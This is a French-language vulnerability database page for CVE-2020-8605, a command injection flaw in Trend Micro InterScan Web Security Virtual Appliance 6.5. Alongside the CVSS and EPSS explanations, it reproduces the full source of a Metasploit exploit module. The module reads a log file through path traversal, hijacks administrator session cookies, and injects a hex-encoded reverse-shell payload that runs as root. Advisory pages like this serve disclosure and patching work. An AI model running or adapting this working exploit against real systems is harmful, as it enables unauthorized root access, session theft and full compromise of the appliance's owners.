CVE-2020-8605 : Détail

CVE-2020-8605

8.8
/
Haute
OS Command Injection
A03-Injection
88.75%V4
Network
2020-05-27
20h45 +00:00
2020-07-14
19h06 +00:00
CVE.org
NVD
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Descriptions du CVE

A vulnerability in Trend Micro InterScan Web Security Virtual Appliance 6.5 may allow remote attackers to execute arbitrary code on affected installations. Authentication is required to exploit this vulnerability.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 8.8 HIGH CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 nvd@nist.gov
V2 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 48667

Date de publication : 2020-07-13 22h00 +00:00
Auteur : Mehmet Ince
EDB Vérifié : No

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'Trend Micro Web Security (Virtual Appliance) Remote Code Execution', 'Description' => %q{ This module exploits multiple vulnerabilities together in order to achive a remote code execution. Unauthenticated users can execute a terminal command under the context of the root user. The specific flaw exists within the LogSettingHandler class of administrator interface software. When parsing the mount_device parameter, the process does not properly validate a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of root. But authentication is required to exploit this vulnerability. Another specific flaw exist within the proxy service, which listens on port 8080 by default. Unauthenticated users can exploit this vulnerability in order to communicate with internal services in the product. Last but not least a flaw exists within the Apache Solr application, which is installed within the product. When parsing the file parameter, the process does not properly validate a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to disclose information in the context of the IWSS user. Due to combination of these vulnerabilities, unauthenticated users can execute a terminal command under the context of the root user. Version perior to 6.5 SP2 Patch 4 (Build 1901) are affected. }, 'License' => MSF_LICENSE, 'Author' => [ 'Mehmet Ince <mehmet@mehmetince.net>' # discovery & msf module ], 'References' => [ ['CVE', '2020-8604'], ['CVE', '2020-8605'], ['CVE', '2020-8606'], ['ZDI', '20-676'], ['ZDI', '20-677'], ['ZDI', '20-678'] ], 'Privileged' => true, 'DefaultOptions' => { 'SSL' => true, 'payload' => 'python/meterpreter/reverse_tcp', 'WfsDelay' => 30 }, 'Payload' => { 'Compat' => { 'ConnectionType' => '-bind' } }, 'Platform' => ['python'], 'Arch' => ARCH_PYTHON, 'Targets' => [ ['Automatic', {}] ], 'DisclosureDate' => '2020-06-10', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options( [ Opt::RPORT(8443), OptInt.new('PROXY_PORT', [true, 'Port number of Trend Micro Web Filter Proxy service', 8080]) ] ) end def hijack_cookie # Updating SSL and RPORT in order to communicate with HTTP proxy service. if datastore['SSL'] ssl_restore = true datastore['SSL'] = false end port_restore = datastore['RPORT'] datastore['RPORT'] = datastore['PROXY_PORT'] @jsessionid = '' # We are exploiting proxy service vulnerability in order to fetch content of catalina.out file print_status('Trying to extract session ID by exploiting reverse proxy service') res = send_request_cgi({ 'method' => 'GET', 'uri' => "http://#{datastore['RHOST']}:8983/solr/collection0/replication", 'vars_get' => { 'command' => 'filecontent', 'wt' => 'filestream', 'generation' => 1, 'file' => '../' * 7 << 'var/iwss/tomcat/logs/catalina.out' } }) # Restore variables and validate extracted sessionid datastore['SSL'] = true if ssl_restore datastore['RPORT'] = port_restore # Routine check on res object unless res fail_with(Failure::Unreachable, 'Target is unreachable.') end # If the res code is not 200 that means proxy service is not vulnerable. unless res.code == 200 @jsessionid = -1 return end # Now we are going to extract all JESSIONID from log file and store them in array. cookies = res.body.scan(/CheckUserLogon sessionid : (.*)/).flatten if cookies.empty? @jsessionid = 0 print_error('System is vulnerable, however a user session was not detected and is therefore unexploitable. Retry after a user logs in.') return end print_good("Extracted number of JSESSIONID: #{cookies.length}") # We gotta switch back to adminsitrator interface port instead of proxy service. Restore rport and ssl variables. datastore['SSL'] = true if ssl_restore datastore['RPORT'] = port_restore # Latest cookie in the log file is the one most probably active. So that we use reverse on array. cookies.reverse.each_with_index do |cookie, index| print_status("Testing JSESSIONID ##{index} : #{cookie}") # This endpoints is basically check session :) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri('rest', 'commonlog', 'get_sessionID'), 'cookie' => "JSESSIONID=#{cookie}" }) # Routine res check unless res fail_with(Failure::UnexpectedReply, 'Target is unreachable.') end # If the cookie is active ! if res.code == 200 && res.body.include?('session_flag') print_good("Awesome!!! JESSIONID ##{index} is active.") @jsessionid = cookie break end print_warning("JSESSIONID ##{index} is inactive! Moving to the next one.") end if @jsessionid.empty? print_error('System is vulnerable, however extracted cookies are not valid! Please wait for a user or admin to login.') end end def check # # @jsessionid can be one of the following value # # -1 = Proxy service is not vulnerable, which means we'r not gonna # be able to read catalina.out # # 0 = Proxy service is vulnerable, but catalina.out does not contain any # jessionid string yet ! # # empty = Proxy service is vulnerable, but jessionid within log file but # none of them are valid:( # # string = Proxy service is vulnerable and sessionid is valid ! # hijack_cookie if @jsessionid == -1 CheckCode::Safe else CheckCode::Vulnerable end end def exploit unless check == CheckCode::Vulnerable fail_with Failure::NotVulnerable, 'Target is not vulnerable' end # # 0 => Proxy service is vulnerable, but catalina.out does not contain any # jessionid string yet ! # # empty => Proxy service is vulnerable, but jessionid within log file but # none of them are valid:( # if @jsessionid.empty? || @jessionid == 0 fail_with Failure::NoAccess, '' end print_status('Exploiting command injection vulnerability') # Yet another app specific bypass is going on here. # It's so buggy to make the cmd payloads work under the following circumstances (Weak blacklisting, double escaping etc) # For that reason, I am planting our payload dropper within the perl command. cmd = "python -c \"#{payload.encoded}\"" final_payload = cmd.to_s.unpack1('H*') p = "perl -e 'system(pack(qq,H#{final_payload.length},,qq,#{final_payload},))'" vars_post = { mount_device: "mount $(#{p}) /var/offload", cmd: 'mount' } send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'rest', 'commonlog', 'log_setting', 'mount_device'), 'cookie' => "JSESSIONID=#{@jsessionid}", 'ctype' => 'application/json', 'data' => vars_post.to_json }) end end

Products Mentioned

Configuraton 0

Trendmicro>>Interscan_web_security_virtual_appliance >> Version 6.5

Références